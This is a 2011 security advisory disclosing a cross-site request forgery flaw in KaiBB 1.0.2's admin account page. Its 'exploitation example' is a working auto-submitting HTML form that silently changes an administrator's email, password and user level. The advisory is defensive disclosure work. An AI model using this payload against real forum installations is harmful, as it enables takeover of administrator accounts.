Cross-site Request Forgery (CSRF) in KaiBB

This vulnerability was discovered by our security researchers before 2019.

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Advisory ID:	HTB22793
Product:	KaiBB
Vendor:	Mi-Dia
Vulnerable Versions:	1.0.2 and probably prior
Tested Version:	1.0.2
Advisory Publication:	January 13, 2011 [without technical details]
Vendor Notification:	January 13, 2011
Public Disclosure:	January 27, 2011
Vulnerability Type:	Cross-Site Request Forgery [CWE-352]
Risk Level:	Medium

CVSSv2 Base Score:	5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered vulnerability in KaiBB which could be exploited to perform cross-site request forgery attacks. 1) Cross-site request forgery (CSRF) in KaiBB The vulnerability exists due to insufficient validation of the request origin in admin/core/account.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials. Exploitation example: <form action="http://host/admin/?area=users&s=account&a=USERID" method="post"> <input type="hidden" name="regemail" value="[email protected]"> <input type="hidden" name="regpass" value=""> <input type="hidden" name="regname" value="test"> <input type="hidden" name="justip" value="0"> <input type="hidden" name="reglevel" value="2"> <input type="hidden" name="rankselect" value="1"> <input type="hidden" name="sfrozen" value="0"> <input type="hidden" name="notes" value=""> <input type="hidden" name="signature" value=""> <input type="submit" id="btn" name="Submit" value="Update"> </form> <script> document.getElementById('btn').click(); </script>
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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

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References:
[1] High-Tech Bridge Advisory HTB22793 - https://www.immuniweb.com/advisory/HTB22793 - Cross-site Request Forgery (CSRF) in KaiBB [2] KaiBB - mi-dia.co.uk - KaiBB is a free and open source bulletin board / forum software written in PHP. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Related Security Advisories: HTB22747: Multiple Vulnerabilities in KaiBB

Previous Security Advisories with CWE-352:

HTB22778: Multiple Vulnerabilities in VaM Shop

HTB22775: Cross-site Request Forgery (CSRF) Vulnerabilities in diafan.CMS

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